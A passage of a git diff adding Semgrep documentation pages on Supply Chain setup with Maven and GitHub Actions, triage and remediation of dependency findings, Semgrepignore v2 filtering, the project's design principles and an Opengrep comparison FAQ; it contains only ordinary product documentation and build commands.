+For some languages, a lockfile or manifest file is required to accurately to determine transitivity. See [Transitive dependencies and reachability analysis](/semgrep-supply-chain/overview/#transitive-dependencies-and-reachability-analysis) for more information.
+
+The following table lists all Semgrep-supported package managers for each language. Languages with **reachability** support are listed first.
+
+
Package.swift file and Swift-generated Package.resolved file. (See Swift documentation for instructions.)
+
+
+
Rust
+
Cargo‡
+
cargo.lock
+
+
+
Dart
+
Pub
+
pubspec.lock
+
+
+
Elixir
+
Hex
+
mix.lock
+
+
+
PHP
+
Composer
+
composer.lock
+
+
+
+
+
+_†Supply Chain can treat `requirements.txt` as a lockfile with Pip-compiled output and fully pinned dependencies or as a manifest file with more flexible specifiers. If your `requirements.txt` file doesn't use pinned dependencies exclusively, use the [`--allow-local-builds` flag](/semgrep-supply-chain/getting-started#scan-a-project-without-lockfiles-beta) when invoking your scan. This ensures that the dependencies using non-exact version specifiers, such as `>=`, `>`, `~=`, are included in the dependency graph. Otherwise, Semgrep ingests only pinned (`==`) dependencies._
+
+_‡Supply Chain does not analyze the transitivity of packages for these language and manifest file or lockfile combinations. All dependencies are listed as **No reachability Analysis.**_
diff --git a/mintlify-docs/semgrep-supply-chain/setup-infrastructure.mdx b/mintlify-docs/semgrep-supply-chain/setup-infrastructure.mdx
new file mode 100644
index 0000000000..1c4a18eb75
--- /dev/null
+++ b/mintlify-docs/semgrep-supply-chain/setup-infrastructure.mdx
@@ -0,0 +1,25 @@
+---
+title: "Set up Semgrep Supply Chain for your infrastructure"
+---
+
+
+
+**YOUR DEPLOYMENT JOURNEY**
+
+- You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
+- You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
+- For GitHub and GitLab users: You have [connected your source code manager](/deployment/connect-scm).
+- Optionally, you have [set up SSO](/deployment/sso).
+- You have successfully added a [Semgrep job](/deployment/add-semgrep-to-ci) to your CI workflow.
+
+
+
+Semgrep Supply Chain performs software composition analysis with reachability.
+
+Scanning third-party code with Semgrep Supply Chain may require additional steps, such as generating a manifest file or lockfile that it can parse in continuous integration (CI).
+
+The documents in this category describe how to set up Semgrep Supply Chain for specific manifest files, lockfiles, or CI providers, to ensure that your Semgrep Supply Chain deployment functions as intended.
+
+| Package manager | Issue | Solution |
+| :--- | :--- | :--- |
+| Maven | Semgrep Supply Chain requires a dependency tree to detect packages. | Generate a dependency tree using `mvn` by following the steps in [Setting up Semgrep Supply Chain with Apache Maven](/semgrep-supply-chain/setup-maven). |
diff --git a/mintlify-docs/semgrep-supply-chain/setup-maven.mdx b/mintlify-docs/semgrep-supply-chain/setup-maven.mdx
new file mode 100644
index 0000000000..fc1c7136fe
--- /dev/null
+++ b/mintlify-docs/semgrep-supply-chain/setup-maven.mdx
@@ -0,0 +1,169 @@
+---
+title: "Set up Semgrep Supply Chain with Apache Maven (Java)"
+sidebarTitle: "Apache Maven"
+---
+
+
+**INFO**
+
+Semgrep Supply Chain supports the scanning of Java projects built using Maven or Gradle Wrapper **without the need for lockfiles**. Learn more about [scanning your project without generating a Maven dependency tree](/semgrep-supply-chain/getting-started#scan-a-project-without-lockfiles-beta).
+
+
+
+Semgrep Supply Chain does not read `pom.xml` files to parse Maven projects. Instead it parses a dependency tree generated by Maven (`mvn`).
+
+The **general steps** to enable Semgrep Supply Chain to correctly parse Maven projects are as follows:
+
+
+
+
+Generate a file outlining the project's dependency tree by adding the following command to your build pipeline:
+
+```bash
+mvn dependency:tree -DoutputFile=maven_dep_tree.txt
+```
+For specific steps to add the command into your build pipeline, refer to your CI provider's documentation.
+
+
+For each `pom.xml` file with dependencies you want to scan, create additional dependency trees in their respective directories. Semgrep Supply Chain can detect and parse them all.
+
+
+Run the Semgrep workflow, action, or step after the dependency tree or trees have been generated.
+
+
+
+
+
+**CAUTION**
+
+* Ensure that Maven is installed in the build environment that is used to generate the dependency trees.
+* Ensure that you generate dependency trees before running Semgrep.
+* This approach works for full scans. It does not work for [diff-aware scans](/deployment/customize-ci-jobs#set-up-diff-aware-scans) because the generated file is not tracked by Git.
+
+
+You can perform the general steps in a local environment for testing. The following screenshot displays the commands running in a local environment:
+
+
+
+
+
+## Scanning Apache Maven projects with specific CI providers
+
+This section describes steps to set up Apache Maven with specific CI providers.
+
+## GitHub Actions
+
+To successfully run a Semgrep Supply Chain scan in GitHub Actions, the GitHub Actions workflow must generate all dependency trees in one job and then run Semgrep after.
+
+### Sample GitHub Actions Maven workflow
+
+
+
+
+In the following code snippet, dependency trees are shared between the two jobs through a zip file that gathers all the lockfiles and, in the next job, unzips the lockfiles and runs Semgrep as usual.
+
+```yaml expandable
+on:
+ workflow_dispatch:
+ pull_request: {}
+ push:
+ branches:
+ - master
+ paths:
+ - .github/workflows/semgrep.yml
+name: Semgrep
+jobs:
+ buildmavenDepTree:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v6
+ - name: Set up JDK 11
+ uses: actions/setup-java@v3
+ with:
+ java-version: '11'
+ distribution: 'temurin'
+ - name: Build Dependency Tree
+ # The mvn command traverses the repository and generates a dependency tree for each pom.xml file
+ run: mvn dependency:tree -DoutputFile=maven_dep_tree.txt -Dmaven.test.skip=true
+ - name: Create Zip File
+ run: find . -type f -name 'maven_dep_tree.txt' -exec zip -r archive.zip {} +
+ - name: Upload Dependency Zip
+ uses: actions/upload-artifact@v3
+ with:
+ name: zipfile
+ path: archive.zip
+ semgrep:
+ needs: buildmavenDepTree
+ name: Scan
+ runs-on: ubuntu-latest
+ env:
+ SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
+ container:
+ image: semgrep/semgrep
+ steps:
+ - uses: actions/checkout@v6
+ - name: Download artifact from the previous job
+ uses: actions/download-artifact@v3
+ with:
+ name: zipfile
+ - name: Semgrep Scan
+ run: |
+ unzip -o archive.zip
+ semgrep ci
+```
+
+
+
+
+The following code snippet is intended for repositories with a single `pom.xml` file.
+
+```yaml expandable
+on:
+ workflow_dispatch:
+ pull_request: {}
+ push:
+ branches:
+ - main
+ paths:
+ - .github/workflows/semgrep.yml
+name: Semgrep
+jobs:
+ buildmavenDepTree:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v6
+ - name: Set up JDK 17
+ uses: actions/setup-java@v3
+ with:
+ java-version: '17'
+ distribution: 'temurin'
+ - name: Build with Maven
+ run: mvn --batch-mode --update-snapshots package
+ - name: Build Dependency Tree
+ run: mvn dependency:tree -DoutputFile=maven_dep_tree.txt
+ - name: Upload Dependency Tree Artifact
+ uses: actions/upload-artifact@v3
+ with:
+ name: mavendeptree
+ path: maven_dep_tree.txt
+ semgrep:
+ needs: buildmavenDepTree
+ name: Scan
+ runs-on: ubuntu-latest
+ env:
+ SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
+ container:
+ image: semgrep/semgrep
+ steps:
+ - uses: actions/checkout@v6
+ - name: Download artifact from previous job
+ uses: actions/download-artifact@v3
+ with:
+ name: mavendeptree
+ - run: semgrep ci
+```
+
+
+
+
+To **request support for your CI provider**, join the [Semgrep Community Slack](https://go.semgrep.dev/slack) group to ask the maintainers and the community.
diff --git a/mintlify-docs/semgrep-supply-chain/triage-and-remediation.mdx b/mintlify-docs/semgrep-supply-chain/triage-and-remediation.mdx
new file mode 100644
index 0000000000..dedd0f1de4
--- /dev/null
+++ b/mintlify-docs/semgrep-supply-chain/triage-and-remediation.mdx
@@ -0,0 +1,280 @@
+---
+title: "Triage and remediate Supply Chain findings"
+sidebarTitle: "Triage and remediation"
+---
+
+
+
+**PREREQUISITE**
+
+At least one repository that scans for dependencies through Semgrep Supply Chain. See [Scan third-party dependencies](/semgrep-supply-chain/getting-started).
+
+
+Once Semgrep Supply Chain successfully scans your repository and you've [viewed your results](/semgrep-supply-chain/findings), you can assess, triage, and remediate the findings presented in Semgrep AppSec Platform using the **Supply Chain** page. Semgrep provides the following methods to help you evaluate your findings:
+
+| Assessment action | Method |
+| :--- | :--- |
+| Filter findings. | Click any filter on the **Supply Chain** page. |
+| View specific CVE entries in cve.org. | Click the finding's CVE badge. |
+| View specific pattern matches in your codebase. | View the Supply Chain finding's **Details** page. |
+| View the [dependency path for a transitive dependency](/semgrep-supply-chain/dependency-search#dependency-paths-beta). | View the Supply Chain finding's **Details** page. |
+| View safe versions to upgrade your dependencies. | View the Supply Chain finding's **Details** page. |
+
+Once you've assessed the findings, the following actions are available to you.
+
+## Remediate true positives
+
+Remediate (or resolve) true positives in Semgrep Supply Chain by:
+
+* Updating the dependency to a safe version that does not contain the vulnerability.
+* Removing the dependency and refactoring all usages in the codebase.
+
+## Review provisionally ignored findings
+
+Provisionally ignored findings are those identified by Semgrep as unreachable. These findings block pull requests and merge requests if the corresponding rule is included in a blocking policy.
+
+You can change the status of provisionally ignored findings to indicate the next steps in the triage process. For instance, you can set the status to **Reviewing** if you decide to manually review the finding.
+
+### Remove the dependency and refactor the code
+
+Removing dependencies and refactoring code are other methods to remediate vulnerabilities. Upon merging any dependency removals, Semgrep Supply Chain scans the pull request or merge request, detects changes to your manifest file or lockfile, and updates the status to **Fixed**.
+
+## Upgrade guidance and Autofix (beta)
+
+If the remediation for a finding is to upgrade the package, **Upgrade guidance** uses program analysis and AI to analyze the results of your Semgrep scans to see if you can safely and reliably update a vulnerable package or dependency to a fixed version. From there, you can choose to:
+
+- Have Semgrep open a pull request or merge request that updates the version used by your repository and guide the developer on any breaking changes in the PR description
+- Create a Jira ticket
+- Set the finding's triage status as **To fix**
+
+Semgrep's dependency upgrade guidance can determine if the package upgrade needed to remediate the finding causes breaking changes. Semgrep can then create a PR to upgrade the package, offering a one-click solution to you.
+
+### Supported languages and package managers
+
+- **JavaScript** projects
+- **Python** codebases with the following package managers:
+ - `pip`
+ - `pip-tools`
+ - `pipenv`
+ - `poetry`
+ - `uv`
+
+### Supported SCMs
+
+- GitHub Cloud
+- GitLab Cloud
+
+### Registry support
+
+- Registries other than the public pypi and npm registry are not supported.
+- Private registries are not supported.
+
+This **includes** projects added to Semgrep through Semgrep Managed Scans.
+
+### Prerequisites
+
+To access all upgrade guidance and Autofix features, you must have:
+
+- Enabled upgrade guidance Semgrep AppSec Platform by going to **Settings > General > Supply Chain**
+- At least one repository with full [scans with Semgrep Supply Chain](/semgrep-supply-chain/getting-started).
+- Semgrep Multimodal [enabled](/semgrep-multimodal/getting-started).
+- The **private** GitHub app for Semgrep installed.
+ - The app must have [**Read and write** access on the **Contents** permission](#grant-read-and-write-access-to-a-private-github-semgrep-app) to open Autofix PRs. Current customers must manually enable this if they haven't already.
+- Optionally: if you have [a private registry, connect it to Semgrep](#connect-a-private-registry-to-semgrep) to improve results.
+
+### Features and permissions required
+
+The following table summarizes the features available to you depending on the prerequisites you meet:
+
+| Semgrep features available | [Read and write `Content` permission granted](#grant-read-and-write-access-to-a-private-github-semgrep-app) | [Code access granted to Semgrep through installation of the private GitHub app](/deployment/managed-scanning/github#permissions) | [Semgrep Multimodal enabled](/semgrep-multimodal/getting-started) | [Private registry connected to Semgrep](#connect-a-private-registry-to-semgrep) |
+| :--- | :--- | :--- | :--- | :--- |
+| All Autofix and upgrade guidance features, including:
Upgrade filter for Findings
Upgrade guidance on the Finding Details page
Coupled or blocked upgrade information shown on the Finding Details page
Ability to open a PR to upgrade
| | | | |
+| All Autofix and upgrade guidance features, but not for dependencies in a private registry:
Upgrade filter for Findings
Upgrade guidance on the Finding Details page
Coupled or blocked upgrade information shown on the Finding Details page
Ability to open a PR to upgrade
| | | | The private registry is not connected to Semgrep |
+| Autofix, but not for dependencies in a private registry:
Ability to open a PR to upgrade
| | | | The private registry is not connected to Semgrep |
+| All upgrade guidance features, including:
Upgrade filter for Findings
Upgrade guidance on the Finding Details page
Coupled or blocked upgrade information shown on the Finding Details page
| | | | | |
+| All upgrade guidance features, but not for dependencies in a private registry:
Upgrade filter for Findings
Upgrade guidance on the Finding Details page
Coupled or blocked upgrade information shown on the Finding Details page
| | | | The private registry is not connected to Semgrep |
+
+
+### How this works
+
+After enabling upgrade guidance, Semgrep performs post-scan analysis and marks applicable findings as **Safe to upgrade** or with **Breaking changes**.
+
+- This analysis is performed every **two hours** on the latest **full scan**.
+- Only findings whose dependencies have **fixed versions** that resolve the vulnerability are marked by Semgrep as **Safe to upgrade** or with **Breaking changes**.
+- Findings without any fixed versions have no badge; instead, they say **no patch available**.
+
+The following chart illustrates the steps Semgrep performs, from scanning to analysis, and the actions you can take based on the advice it provides.
+
+
+
+
+
+### Review a finding's upgrade guidance
+
+To view detailed information about a finding in Semgrep AppSec Platform, go to the **Supply Chain** page. Locate the finding you want to review, then click **Details**.
+
+The details page is divided into several panels:
+
+- General information:
+ - The name of the package and a description of the finding
+ - Its reachability, whether it is direct or transitive, its CVE number, EPSS, and severity
+ - Its remediation version, if any
+ - Links to references
+ - A badge indicating if it can cause breaking changes or not (beta)
+- Branch and finding history information
+ - Branches in which it can be found
+ - Where it was first detected
+ - AI analysis performed, if any
+- Graphs and code:
+ - **Your code**: the source file in which a match was detected; the highlight indicates where the match was found
+ - **Dependency path**: displays the path of dependencies; useful when analyzing transitive dependencies
+ - **Pattern** and **Rule**: the pattern and rule logic that determined the match
+
+### Open a pull request or merge request with fixes
+
+
+
+Navigate to the **Details** page of the finding for which you want to make a pull request or merge request.
+
+
+Click **Fix** > **Open Autofix PR**.
+
+
+
+A pull request or merge request includes:
+
+- The manifest and/or lockfile changes necessary to upgrade the dependency
+- The context necessary for developers to fix potentially breaking changes
+
+The following context is included in the pull request description:
+
+- Summary
+ - Severity and reachability of the finding
+ - The specific version of the dependency that the PR upgrades to
+- Vulnerability details
+ - A description of the vulnerability and links to its CVE references
+- Upgrade guidance
+ - The files and functions in the code which make use of the dependency and likely include breaking changes
+- Dependency references
+ - Release notes, changelogs, and commits of the dependency, which may be helpful to resolve the breaking changes
+
+## Ignore findings
+
+The **Supply Chain** tab allows you to identify reachable true positives so you can fix or resolve the related issues. However, you can ignore any false positives, acceptable risks, or deprioritized findings due to some factor. To do this:
+
+
+
+In Semgrep AppSec Platform, go to [**Supply Chain**](https://semgrep.dev/orgs/-/supply-chain).
+
+
+Select one or more findings.
+
+
+Click **Triage > Ignored**.
+
+
+Provide **Comments** to describe why you're ignoring the selected findings.
+
+
+Click **Submit**.
+
+
+
+## Block pull request or merge requests
+
+To prevent security vulnerabilities from being merged into your codebase, see [Supply Chain Policies](/semgrep-supply-chain/policies) for information on how to:
+
+- Block pull requests or merge requests with security vulnerabilities
+- Leave comments on pull requests or merge requests with security vulnerabilities
+
+## Appendix
+
+### Grant **Read and write** access to a private GitHub Semgrep app
+
+
+
+If you are an **existing** Semgrep user and you need to change
+your Semgrep app's permissions:
+
+
+
+In GitHub, navigate to **[Settings > Developer Settings](https://github.com/settings/apps)**. You should see your Semgrep App listed in the **GitHub Apps** tab.
+
+
+Click **Edit** on the Semgrep app.
+
+
+Navigate to the **Permissions & events** section.
+
+
+Expand **Repository permissions** and go to **Contents**.
+
+
+Click the drop-down menu and select **Read and write**.
+
+
+Save these settings.
+
+
+Next, navigate back to the main **[GitHub Settings](https://github.com/settings/)** page. One way to do so is by clicking **Settings** in GitHub’s website breadcrumbs.
+
+
+In the **[Applications](https://github.com/settings/installations)** tab, locate the Semgrep app under the **Installed GitHub Apps** tab.
+
+
+Click **Review request** next to the **Permission updates requested** message, then choose **Accept new permissions**.
+
+
+
+
+### Connect a private registry to Semgrep
+
+
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Navigate to **Settings > Integrations**.
+
+
+Click **Add**, then select **Registry**.
+
+
+In the dialog that appears, provide the following information:
+
+ i. The **Name** of your registry.
+
+ ii. Select the **%%Package manager|package_manager%%**.
+
+ iii. Select the **Authentication method**. If none is required, select **None (public registry)**.
+
+ a. If you select **Username and password**, provide the required **Username** and **Password**.
+
+ b. If you select **API token**, provide the required token value.
+
+
+Click **Connect** to save your changes and proceed.
+
+
+
+
+**INFO**
+
+Semgrep currently supports integrations with private Maven package registries for [scans without lockfiles](/semgrep-supply-chain/getting-started#scan-a-project-without-lockfiles-beta).
+
+
+
+
+### Troubleshooting: Semgrep is not displaying Upgrade guidance or Autofix functionality
+
+
+If you can't see any **Breaking changes** or **Safe to upgrade** badges or findings, this may be due to the following reasons:
+
+- Your language or package ecosystem isn't supported
+- Your source code manager isn't supported
+- Your you have not set **Read and write** access for the **Contents** permission; see [Grant read and write access](#grant-read-and-write-access-to-a-private-github-semgrep-app)
+- Your findings don't have safe versions to upgrade to yet
+- You have no findings within the supported scope of this feature
+
diff --git a/mintlify-docs/semgrepignore-v2-reference.mdx b/mintlify-docs/semgrepignore-v2-reference.mdx
new file mode 100644
index 0000000000..4d30984b36
--- /dev/null
+++ b/mintlify-docs/semgrepignore-v2-reference.mdx
@@ -0,0 +1,181 @@
+---
+sidebarTitle: "Semgrepignore v2"
+title: "Semgrepignore v2 reference"
+---
+
+This document covers the Semgrepignore **v2** target filtering system that replaces the legacy **v1** implementation, referred to as "v1".
+
+## The target filtering process
+
+A `semgrep scan` command takes one or more scan roots as
+arguments. The default scan root is the current folder, `.`.
+Scan roots are folders, individual files, or named pipes that should be
+expanded into a list of regular files to be analyzed. Symbolic links are
+allowed as scan roots.
+
+Expanding a folder consists of listing its contents recursively with
+the following exceptions:
+
+* Symbolic links other than the original scan roots are ignored.
+* In Git projects, Git submodules are ignored.
+* Paths excluded via Semgrepignore patterns are ignored. Semgrepignore
+ patterns can be of different sources which are detailed in the
+ upcoming section.
+
+The list of files obtained by expanding the scan roots are called
+**target files**. To obtain target files, Semgrep follows a
+number of fixed rules and some configurable filters.
+
+For each scan root, Semgrep infers a **project root** (v2 only). The
+project root determines the location of applicable `.semgrepignore`
+files as well as `.gitignore` files in Git projects. In v1 where is no
+notion of a project root, the `.semgrepignore` file is unique and
+looked up in the current folder.
+
+Semgrep determines the project root for each scan root by first
+obtaining the real path (physical path) to the scan root. Then,
+Semgrep searches up the file hierarchy for a `.git` folder or
+similar used by one of the popular file version control systems
+(Git, Mercurial, etc.) indicating a project root.
+If no project root is found this way, it
+defaults to the scan root itself if it is a folder or to its containing
+folder if it is a regular file.
+
+{/* TODO: explain project detection.
+ Go over options to disable listing files using `git ls-files`
+ while possibly still consulting the `.gitignore` files -- when we
+ have an option for it. Right now we have only `--no-git-ignore`
+ which is confusing and too coarse. I'd like to deprecate it as
+ soon as we have finer-grained replacements.
+*/}
+
+
+As an experimental debugging aid, Semgrep provides the `--x-ls` option
+to list the target files. `--x-ls-long` additionally prints excluded
+files and a brief justification. Beware that these two options are
+likely to be renamed or change their behavior in the
+future. Meanwhile, its typical usage is:
+
+```bash
+semgrep --x-ls
+```
+
+or
+
+```bash
+semgrep --x-ls --experimental
+```
+
+
+## Sources of Semgrepignore patterns
+
+A Semgrepignore pattern is a glob pattern that is matched by Semgrep
+against file paths to determine whether these paths should be allowed or
+disallowed as target files.
+
+Semgrep looks up Semgrepignore patterns in the following places:
+
+* command-line `--exclude` and `--include` filters;
+* the `.semgrepignore` file in the current folder (v1 only);
+* all the `.semgrepignore` files in the project (v2 only);
+* all the `.gitignore` files in the project (v2 only);
+* default Semgrepignore patterns.
+
+These sources of filters are grouped into precedence levels.
+Within a precedence level, a path can be deselected and reselected
+any number of times. After applying all the filters within a
+precedence level, only the selected paths make it to the next
+level. There are two precedence levels:
+
+1. command-line `--exclude` and `--include` filters;
+2. default Semgrepignore patterns, `.gitignore` files,
+ `.semgrepignore` files.
+
+For example, consider this `.semgrepignore` file:
+
+```bash
+*.c
+!hello.c
+```
+
+In the absence of `--exclude` or `--include` filters,
+`hello.c` will be first deselected by `*.c` and then
+reselected by the negated pattern `!hello.c`.
+
+However, if we move the `*.c` exclusion pattern to the command line by
+invoking `semgrep --exclude *.c`,
+the file `hello.c` is deselected and ignored even if
+the `.semgrepignore` file contains `!hello.c`.
+
+In a Git project under Semgrepignore v2, `.gitignore` and
+`.semgrepignore` files are consulted in the same order as in the
+Gitignore specification. In a folder containing both a `.gitignore`
+and a `.semgrepignore` file, the `.gitignore` file is read before the
+`.semgrepignore` file.
+
+Default Semgrepignore patterns apply in projects that lack a main
+`.semgrepignore` file. In v1, the main `.semgrepignore` file is
+expected in the current folder. In v2, it is expected at the project
+root. These default patterns are:
+
+```bash expandable
+# Common large paths
+node_modules/
+build/
+dist/
+vendor/
+.env/
+.venv/
+.tox/
+*.min.js
+.npm/
+.yarn/
+
+# Common test paths
+test/
+tests/
+testsuite/
+*_test.go
+
+# Semgrep rules folder
+.semgrep
+
+# Semgrep-action log folder
+.semgrep_logs/
+```
+
+## Semgrepignore pattern syntax
+
+In Semgrepignore v2, the pattern syntax conforms to the
+[Gitignore pattern
+syntax](https://git-scm.com/gitignore#_pattern_format).
+They are glob patterns which support `*` and `**` with their usual
+meanings. For example, pattern `**/tmp/*.js` matches paths `tmp/foo.js` and
+`src/tmp/bar.js`.
+Note that the Gitignore specification contains subtleties associated
+with determining whether a pattern is anchored (relative to the folder
+containing the pattern) or floating (relative to the folder containing
+the pattern or any of its subfolders). For
+example, `/a` and `a/b` are anchored patterns but not `a/`. Please
+consult the Gitignore documentation for details.
+
+As a deviation from the Gitignore syntax, Semgrepignore syntax supports
+`:include` directives. `:include` followed by an unquoted file path
+relative to the path of folder of the source `.semgrepignore` file
+(the current folder in v1) inserts patterns from that file.
+A common use case is to insert the line `:include .gitignore` at the
+beginning of a `.semgrepignore` file so as to avoid duplicating the
+Gitignore patterns. Included files may not contain include
+directives.
+
+## Legacy Semgrepignore v1
+
+In Semgrepignore v1, the following exceptions to the v2
+specification apply:
+
+* unsupported: pattern negation with `!`
+* unsupported: character ranges such as `[a-z]`
+* only one `.semgrepignore` file is supported and it must be in the
+ current folder
+
+Not finding what you need in this doc? Ask questions in our [Community Slack group](https://go.semgrep.dev/slack), or see [Support](/support/) for other ways to get help.
\ No newline at end of file
diff --git a/mintlify-docs/snippets/contributing/semgrep-philosophy.mdx b/mintlify-docs/snippets/contributing/semgrep-philosophy.mdx
new file mode 100644
index 0000000000..8adb2ceb3d
--- /dev/null
+++ b/mintlify-docs/snippets/contributing/semgrep-philosophy.mdx
@@ -0,0 +1,54 @@
+
+[Semgrep CE](https://github.com/semgrep/semgrep/) is a lightweight static analysis tool for many languages. It can find bug variants with patterns that look like source code.
+
+As you think about contributing to Semgrep CE, consider these design principles that have guided Semgrep CE development so far:
+
+1. **Free**
+“If a developer has to convince their manager to spend a few million dollars on advanced security tools each time they change jobs, the future is bleak.” — see our [introductory blog post](https://semgrep.dev/blog/2020/introducing-semgrep-and-r2c/) for more. It’s important to us (and the community) that Semgrep, Inc. is able to develop a sustainable business around Semgrep to support its development, but we strongly believe the tooling itself must always be free.
+
+1. **Open-source software**
+Semgrep is [LGPL](https://tldrlegal.com/license/gnu-lesser-general-public-license-v2.1-(lgpl-2.1)) and powered not just by [Semgrep, Inc.](https://semgrep.dev/) but also by community of brilliant external contributors. We welcome feedback and contributions and strive to be a welcoming community for new developers.
+
+1. **Fast**
+High sloc/sec scanning speed and low startup cost. We’ll never be as fast as ripgrep but we want to get as close as we can.
+
+1. **Code never leaves your machine**
+Semgrep by default runs entirely locally (unless you set it up yourself in a server/client mode). Code never leaves your machine to be analyzed.
+
+1. **Support every programming language**
+“If grep supports it, we will too!” This even includes those that aren’t thought of as programming languages, like Bash or Docker.
+
+1. **Run anywhere**
+Semgrep is small (<100 MB), has minimal runtime dependencies, and should be easily installable via your programming language or operating system package manager.
+
+1. **Keep easy things easy, and hard things possible.**
+Using Semgrep to scan your code, and writing rules with which to scan, should be easy. Semgrep also smooths the process with delightful defaults and support every step of the way. But it’s also adaptable, and we welcome you using Semgrep in your own custom way. Hey, there are even [examples of scanning cat pictures out there](https://youtu.be/ybWB2Vf2V50?t=1182).
+
+1. **Beginner-friendly**
+You shouldn’t need a PhD in program analysis, or even to understand what an AST is, to be effective with Semgrep. A novice programmer should be able to write their first Semgrep rule in 60 seconds.
+
+1. **Human-readable rules**
+Rules should look like code and be easy to read and reason about—hopefully easier than if they were written in grep or a native linter.
+
+1. **Self-contained rule files**
+You shouldn’t need an additional plugin, dependency, or internet access to run a YAML rule. It should just work.
+
+1. **Deterministic (implies reproducible, idempotent)**
+Given the same input, Semgrep gives the same output.
+
+1. **Runs offline**
+Semgrep can run without internet access so developers can write code from airplanes or beaches.
+
+1. **Rules are safe to run no matter where they came from**
+Rules shouldn’t have the capability to run arbitrary code on your system, only to act as a function that produces a deterministic output message.
+
+1. **Single-file analysis**
+To stay fast and limit complexity, Semgrep CE draws a line at crossing file boundaries during analysis. It loses the ability to detect certain complex cross-function (interprocedural) issues, but that’s an explicit tradeoff it makes.
+Semgrep CE's goal is to catch what a senior engineer would catch in code review: Semgrep isn’t designed to find a crazy issue that’s 300 calls from start to finish and evaded the team for 20 years. Instead, it’s designed for enforcing best-practices and automating the code review tasks that an excellent senior engineer would be capable of. For a discussion of why expressive creativity is better than a powerful engine, [see this excellent blog post by Devdatta Akhawe](https://devd.me/log/posts/static-analysis/).
+As a corollary: if you design your codebase so that code in a file is safe today, it's still safe after a colleague makes a change twenty function calls away in another file.
+
+1. **Designed to run while code is being written**
+Semgrep is optimized for running in the IDE, Git commit hooks, or CI—not for at the tail-end of a release process.
+
+1. **A platform for program analysis**
+We will expose stable internals so that researchers and engineers can develop novel program analysis work off of APIs like Semgrep’s generic AST.
diff --git a/mintlify-docs/snippets/faq/comparisons/opengrep.mdx b/mintlify-docs/snippets/faq/comparisons/opengrep.mdx
new file mode 100644
index 0000000000..704476ff3e
--- /dev/null
+++ b/mintlify-docs/snippets/faq/comparisons/opengrep.mdx
@@ -0,0 +1,89 @@
+To resolve confusion within security and developer communities when trying to choose between Semgrep and Opengrep, this page highlights some of the key distinctions to help with decision-making.
+
+
+
+
+[Semgrep Community Edition](https://semgrep.dev/products/community-edition) (CE) is the collective name for the [open source Semgrep engine](https://github.com/semgrep/semgrep), previously known as Semgrep OSS, and the collection of rules published and maintained by the Semgrep community and Semgrep, Inc.
+
+
+
+
+Opengrep is a fork of Semgrep CE.
+
+
+
+
+- The Semgrep Community Edition engine is [licensed under LGPL 2.1](https://github.com/semgrep/semgrep/blob/develop/LICENSE).
+- The Opengrep engine is [licensed under LGPL 2.1](https://github.com/opengrep/opengrep/blob/main/LICENSE).
+
+The LGPL 2.1 license is an open source license that means any copies of the Semgrep or Opengrep engine must include a copy of the full license text and the original copyright notice and must make available the source code when a derivative work is distributed. Any such derivative works must be licensed under the same or later version of the LGPL.
+
+
+
+
+Yes, Semgrep CE is open source. This license for the engine has remained unchanged since Semgrep, Inc. began development in early 2020.
+
+Semgrep maintains a collection of rules written by the community and Semgrep, Inc., and they are licensed under the [Semgrep Rules License](https://semgrep.dev/legal/rules-license/). This license limits their use to internal, non-competing, and non-SaaS contexts, and explicitly limits certain commercial usage. This applies to all rules authored by Semgrep and those contributed to our public repositories.
+
+
+
+
+The license for Semgrep's CE engine remains unchanged: LGPL 2.1.
+
+It was shared in [Important updates to Semgrep OSS](https://semgrep.dev/blog/2024/important-updates-to-semgrep-oss/) that licensing for Semgrep-maintained rules would change from Commons Clause with LGPL 2.1 to the Semgrep Rules License. This change limits certain commercial usage of the rules authored by Semgrep and contributed to our public repositories.
+
+
+
+
+Yes, both projects are actively adding new features and bug fixes.
+
+
+
+
+The command-line interfaces (CLI) for both projects have similar command usage.
+
+Individual arguments to these commands may have diverged over time.
+
+
+
+
+In many cases, the answer is yes.
+
+Semgrep has a large community of users, including major enterprises and service providers that depend on reliability from Semgrep CE. When introducing new features, it is important to see benchmarks that give confidence that regressions or a degradation of performance can be avoided when rolling out new capabilities.
+
+Please [contact Semgrep](/support) if there is a feature missing or if you have any questions.
+
+
+
+
+Yes, Semgrep can be used natively cross-platform, including Windows. Previously, it was necessary to install Windows Subsystem for Linux (WSL) or run Semgrep inside a container or VM. That is no longer the case. The Semgrep command-line interface (CLI) can run directly from a Windows prompt or PowerShell environment. Semgrep CE can also be used with plugins for VS Code, IntelliJ, or Cursor.
+
+See [Five considerations when building cross-platform tools for Windows and macOS](https://semgrep.dev/blog/2025/five-considerations-when-building-cross-platform-tools-for-windows-and-macos) for more information about Windows support.
+
+
+
+
+Yes, the Semgrep CE engine is implemented with **Multicore OCaml**, which supports shared-memory parallel processing through the mechanism known as multicore. This allows the Semgrep engine to leverage multiple threads with shared memory in order to more efficiently use processing resources.
+
+See [Boosting security scan performance for monorepos with multicore parallel processing](https://semgrep.dev/blog/2025/boosting-security-scan-performance-for-monorepos-with-multicore-parallel-processing/) for additional information.
+
+
+
+
+Performance and speed claims rely heavily upon a number of factors and often come with trade-offs. You may be able to optimize one particular use case at the expense of performance in another. Semgrep's solutions and support teams can help with evaluation and a proof of value for your specific use cases.
+
+See [Benchmarking Semgrep Community Edition performance improvements](https://semgrep.dev/blog/2025/benchmarking-semgrep-performance-improvements/) for more about how Semgrep CE thinks about performance.
+
+
+
+
+Semgrep CE is the open source version of the [Semgrep Pro](https://semgrep.dev/products/pro-engine) engine.
+
+Visit [Pricing](https://semgrep.dev/pricing) for a comparison of various features.
+
+### Does Semgrep support interfile taint analysis?
+
+Semgrep Community Edition does not support inter-file taint analysis, since this is a feature of Semgrep Pro. This includes all the many variations of data flow across supported languages and environments, including class inheritance, nested functions, type inference, constant propagation, typed metavariables, alias variables, loop mutations, and much more.
+
+
+
diff --git a/mintlify-docs/snippets/metrics.mdx b/mintlify-docs/snippets/metrics.mdx
new file mode 100644
index 0000000000..c0e0ba80de
--- /dev/null
+++ b/mintlify-docs/snippets/metrics.mdx
@@ -0,0 +1,398 @@
+- [the principles that guide our data-collection decisions](#principles)
